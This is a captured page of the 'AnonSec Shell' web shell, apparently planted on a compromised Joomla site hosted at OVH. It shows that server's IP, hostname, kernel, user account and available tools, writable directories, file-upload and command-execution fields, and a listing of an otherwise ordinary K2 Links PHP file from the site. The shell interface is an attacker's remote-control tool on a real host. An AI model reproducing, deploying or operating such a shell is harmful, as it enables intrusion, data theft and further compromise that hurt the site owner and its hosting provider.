AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/minedecapgaronne/components/com_jce/editor/extensions/links/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/minedecapgaronne/components/com_jce/editor/extensions/links/k2links.php
<?php
/**
 * @version     2.0.1
 * @package     K2 Links for JCE
 * @author      JoomlaWorks http://www.joomlaworks.net
 * @copyright   Copyright (c) 2006 - 2014 JoomlaWorks Ltd. All rights reserved.
 * @license     GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

defined('_WF_EXT') or die('ERROR_403');

class WFLinkBrowser_K2links extends JObject
{

	var $_option = array();
	var $_adapters = array();

	/**
	 * Constructor activating the default information of the class
	 *
	 * @access	protected
	 */
	function __construct($options = array())
	{
		jimport('joomla.filesystem.folder');
		jimport('joomla.filesystem.file');

		$path = dirname(__FILE__).DS.'k2links';

		// Get all files
		$files = JFolder::files($path, '\.(php)$');

		if (!empty($files))
		{
			foreach ($files as $file)
			{
				require_once ($path.DS.$file);
				$classname = 'K2links'.ucfirst(basename($file, '.php'));
				$this->_adapters[] = new $classname;
			}
		}
	}

	/**
	 * Returns a reference to a editor object
	 *
	 * This method must be invoked as:
	 * 		<pre>  $browser =JContentEditor::getInstance();</pre>
	 *
	 * @access	public
	 * @return	JCE  The editor object.
	 * @since	1.5
	 */
	function getInstance()
	{
		static $instance;

		if (!is_object($instance))
		{
			$instance = new WFLinkBrowser_K2links();
		}
		return $instance;
	}

	function display()
	{

	}

	function isEnabled()
	{
		$wf = WFEditorPlugin::getInstance();
		return $wf->checkAccess($wf->getName().'.links.k2links', 1);
	}

	function getOption()
	{
		foreach ($this->_adapters as $adapter)
		{
			$this->_option[] = $adapter->getOption();
		}
		return $this->_option;
	}

	function getList()
	{
		$list = '';

		foreach ($this->_adapters as $adapter)
		{
			$list .= $adapter->getList();
		}
		return $list;
	}

	function getLinks($args)
	{
		foreach ($this->_adapters as $adapter)
		{
			if ($adapter->getOption() == $args->option)
			{
				if (property_exists($args, 'task'))
				{
					$task = $args->task;
				}
				else
				{
					$task = 'category';
				}
				if ($adapter->getTask() == $task)
				{
					return $adapter->getLinks($args);
				}
			}
		}
	}

}

Anon7 - 2022
AnonSec Team